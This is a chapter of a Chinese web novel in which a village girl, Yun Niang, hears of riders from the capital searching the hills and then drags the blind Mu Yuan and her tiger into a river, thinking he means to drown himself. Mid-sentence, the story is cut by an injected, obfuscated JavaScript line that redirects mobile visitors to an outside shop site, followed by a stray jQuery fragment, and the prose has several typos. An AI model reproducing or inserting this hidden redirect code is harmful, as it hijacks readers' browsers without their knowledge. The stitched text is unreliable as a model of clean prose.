陈逸远站在原地,朝着芸娘离去的方向张望,脸上带着几分懊悔的神情。
走出巷口时,芸娘停在原地愣了一下,却是未曾回头。
往事已过,她从不回头。
只是心头尚有几分可惜,可惜那个曾经满口诗书说要考取功名、说要给她一个好日子的少年,终究选择了另一条比较容易走的路。
世上真心转瞬即逝,她只想牢牢抓住自己能抓住的,其他的一概不在意。
芸娘摇摇头,把这些乱七八糟的念头甩开,大步朝清溪镇东头的茶馆走去。
她没有忘记今日穆渊让她打听上京消息的事。
清溪镇不大,拢共就一条主街,茶馆倒是开了两家。
芸娘常去的是“老槐树茶馆”,因为门口那棵歪脖子老槐树而得名。茶馆的掌柜姓钱,是个消息灵通的人物,镇上谁家出了什么事,他准是第一个知道的。
门外的秋阳正好,照在身上暖洋洋的。
芸娘站在台阶上,眯着眼睛看了看街上的人来人往,随后掀开茶馆的布帘子走了进去,一股热腾腾的茶香混着人声扑面而来。
这会儿正是午后,茶馆里坐了不少人,三三两两地嗑着瓜子喝茶聊天。
钱掌柜正趴在柜台上算账,抬眼见是芸娘,笑着招呼了一声:“哟,是芸娘来了?好些日子没见你了。”
“钱叔。”芸娘笑着走过去,从背篓里摸出一小包干蘑菇放在柜台上,“山上采的,给您下酒。”
钱掌柜与芸娘的爹从前是旧相识,将她看作小辈,对她也颇为照顾。
他也不客气,笑眯眯地收下了,压低了声音问道:“又来打听消息?”
芸娘点点头,四下看了一眼,凑近了些:“钱叔,最近镇上有没有什么新鲜事?尤其是……上京那边来的消息?”
钱掌柜眼珠转了转,捋了捋胡须,慢悠悠地说道:“你倒是问对人了。昨儿个晚上,镇上来了一拨人,住在悦来客栈,听口音是上京来的,出手阔绰得很。今儿一早就在街上转悠,逢人就打听,说是在找什么人。”
芸娘心头一紧,面上却不动声色:“哦?可有人知道他们找的是谁?”
“谁知道呢?”钱掌柜摇摇头。
芸娘知道钱掌柜是个精明人,也不好多问,便换了个话头:“那他们打算在镇上待多久?”
“这个嘛……不好说。听说是要往山里去找。”钱掌柜压低了声音,“芸娘,你常在山里走动,可曾见过什么可疑的人?”
芸娘笑了笑:“山里除了野兽就是树,哪来什么可疑的人。钱叔您别多想。”
钱掌柜哈哈一笑,话锋一转:“不过芸娘你怎么也开始打探起上京的消息了?莫不是……想去找你爹?”
想起昔日好友,钱掌柜也不知道芸娘她爹为什么一去不复返了,他看起来并非会抛妻弃子之人。
芸娘神色一暗:“是有这个打算,只是阿爹让我十八岁之后才能去找他。”
钱掌柜见自己勾起了芸娘的伤心事,也不再追问,又跟她扯了几句闲话,便去招呼别的客人了。
芸娘在茶馆坐了一会儿,又听了几句旁人的闲谈,大多是些鸡毛蒜皮的小事,没什么有用的消息。
她起身告辞,走出了茶馆,站在街上发了会儿呆。
难道钱叔说的那些人……是来寻穆渊的?
芸娘见穆渊气度不凡,应当不会是他口中的商人那般简单,只是如今他却成了一个瞎子。
那群来找他的人是敌是友,她也不知。
她攥紧了背篓的袋子,深吸一口气,把心里那点奇异的情绪压了下去。
芸娘又去了一趟杂货铺,买了一包盐巴和一些日常用品。
路过卖糖的摊子时,她想起了穆渊喝药时紧拧的眉头,又买了一小包糖块和两串冰糖葫芦。
买齐了东西后,芸娘背着沉甸甸的背篓,往跟李大山约定的地方走去。
日头已经渐渐西行,离日落还有一阵子,李大山还没来。
她便蹲在路边的石头上,一边等一边掰着手指头算账。
今日的兽皮卖了二两四钱银子,野兔和狍子卖了五钱银子,买药花了一两二钱,买杂货花了三钱……刨去这些,还剩下一两二钱银子。
加上之前攒的钱,倒是能好好过个冬了。
只是……离治好穆渊的眼睛还远着呢。
她其实还攒着去寻她阿爹的银子,不过不到万不得已,她是不会动的。
芸娘正出神,忽然听见一阵马蹄声由远及近。
抬眼一看,几个骑马的人从另一边的小道上过来,为首的是个穿着玄色劲装的年轻男子,面容冷峻,腰间开着长刀,一看就不是本地人。
芸娘下意识地低下头,把脸藏进背篓的阴影里。
那几个人从她面前进过,马蹄扬起一阵尘土。她听见其中一个人说:“明天进山,仔细搜,活要见人,死要见尸。”
另一个声音应道:“是。”
马蹄声渐渐远了。
芸娘慢慢抬起头,望着那几个远去的身影。
难道他们就是钱叔说的上京来的人?他们找的人是穆渊?
又或者,找的是穆渊的尸体。
清溪镇虽小,周边却绵延着十几个村落,村村背靠着深山,层层叠叠的林子望不到尽头。
要想在这茫茫林海中找出一个人来,谈何容易。
芸娘不知他们是敌是友,不能轻举妄动,否则可能会让穆渊陷于万劫不复之地。
她咬着唇,把脸埋进膝盖里,闷闷地叹了口气。
“芸娘!芸娘!”
李大山的喊声从远处传来,牛车吱呀吱呀地停在她面前。
“等很久了吧?走,回家!”李大山笑呵呵地说。
芸娘抬起头,挤出一个笑,跳上牛车。
回去的路上,她没有睡着。
秋风吹在脸上,凉飕飕的。
她抱着背篓,看着天边那一轮慢慢沉下去的太阳,把半边天烧得通红。
到了村口,她跳下牛车,跟李大山道了别,一个人沿着小路往家走。
远远地,芸娘看见自家的篱笆门开着,院子里却是没有看见大黄和穆渊的身影。
她心里没来由地一阵发慌,像被什么东西轻轻攥了一下。
“大黄……穆渊……”
芸娘走进屋里,话说到一般便卡在了喉咙里。
屋里空荡荡的,床上的被褥掀开着,竹杖也不见了踪影。
大黄不在,穆渊也不在。
她的心猛地一沉。
难道是舅娘趁她不在,把人带走了?
不对。
有大黄在,舅娘绝不敢踏进院子半步。
那……难道是穆渊自己做了什么傻事?
芸娘脑子里“嗡”的一声,各种不好的念头蜂拥而上。
他身上的伤还没好全,眼睛又看不见,就算想走,也走不了多远。
她来不及多想,匆匆放下背篓,转身往外跑。
跑出两步,她忽然想起今日出门叮嘱过穆渊不要走太远,当心掉下河里的话。
芸娘心口一紧,脚步更快了,朝着屋后的河岸奔去。
果不其然,她刚转过屋角,便瞧见了河边的身影。
穆渊站在河岸上,手里握着那根她做的竹杖,长身玉立。
夕阳尚未完全沉落,天边铺着一层暖橘色的光,将他整个人笼在其中。
他微微仰着头,那双空洞的眼睛朝着远
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912022|213150||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
方,面容冷峻,唇线紧抿,浑身透着一股拒人千里的孤傲。
晚风吹起他墨色的长发和月白的衣角,衬得面前的山林和粼粼的河水,竟像一副遗世独立的画,清冷决绝,仿佛下一刻便要乘风归去。
大黄正安静地趴在他的脚边,尾巴有一搭没一搭地扫着地面。
芸娘看得呆住了,这似乎是她第一次真正看清穆渊站起来的模样。
原来他这样高,自己大概才堪堪到他的肩头。
她愣了一瞬,随即猛地回过神来,心口一阵狂跳。
他站在河边做什么?她今日出门前特意叮嘱过,不许他靠近河边的!
“穆渊!你在做什么!”芸娘慌忙跑过去,声音都变了调,“不许寻死!”
听到她的喊声,穆渊和大黄同时愣了一下。
大黄还没反应过来,尾巴已经先一步兴奋地摇了起来。
芸娘哪里还顾得上这些,脑子里只有一个念头,拦住穆渊,不能让他跳下去!
“我就说这几日看你状态不对劲!”她一边跑一边喊,“你的命是我的,不许寻死!”
大黄见她跑过来,欢快地起身迎了上去,毛茸茸的大身子正好横在芸娘脚前。
芸娘被它一绊,整个人失去了平衡,惊呼一声,直直朝穆渊扑了过去。
“啊啊……”
穆渊只听见一阵急促的脚步声由远及近,还没来得及开口,便被一股力道猛地扑中。
他眼睛看不见,脚下又是湿润的河岸,哪里站得住?
“我不是要寻——唔——”
话音未落,两个人便“扑通”一声,齐齐栽进了河里。
河水冰凉刺骨,穆渊看不见又不会水,只觉得口鼻猛地灌进几口水,呛得他眼前发黑。
他下意识地伸手去抓,却什么也抓不住,只感觉到一双温热的手死死地攥紧了他的衣襟,怎么也不肯松开。
水花四溅,冰凉的河水瞬间没过两个人的头顶。
芸娘自幼在山里长大,溪涧河流都走惯了,水性虽不算精熟,却也不至于慌了手脚。
落水的一瞬她便屏住了呼吸,一只手死死地攥紧了穆渊的衣襟,另一只手拼命划水,想要浮上去。
“嗷~~”
大黄在岸上来回踱了几步,见两人迟迟没有上岸,只想着主人让它不要玩水,自己却在河里玩得开心,便按耐不住地纵身一跃,也扑进了河里。
于是两人一虎一同落在了水里。
看着大黄兴奋地跳到水里,芸娘此时只想给这只憨笨的老虎几巴掌。
老虎是会水的,虽然算不上多擅长,但刨起水来比人有力得多。
大黄四爪划水,朝两人的方向游过去,一口吊住穆渊的后领,拼了往岸上拖。
芸娘趁机蹬了几脚,借着力浮出水面,大口大口地传奇。
她抹了一把脸上的水,跟大黄一起托着穆渊的肩膀,连拖带拽地把人弄到了岸上。
于是三个人……
不,两人一虎狼狈不堪地倒在河岸上。
芸娘浑身湿透,头发贴在脸上,水珠顺着下巴往下淌。
她大口大口地喘着气,胸口剧烈起伏,半晌才缓过劲来。
穆渊躺在一旁,脸色苍白,剧烈地咳嗽着,吐出好几口河水。
他浑身都在发抖,不知是冷的,还是气的。
大黄甩了甩身上的水,溅了两人一身,然后若无其事地趴在旁边,伸出大舌头舔了舔爪子。
芸娘缓过气来后,翻身坐起,瞪着穆渊,脸都气红了:“你——?”
她的声音又急又气:“我出门前怎么跟你说的,让你别去河边!你倒好,自己不知道地方,还让大黄带你过来,你是不是存心想气死我?”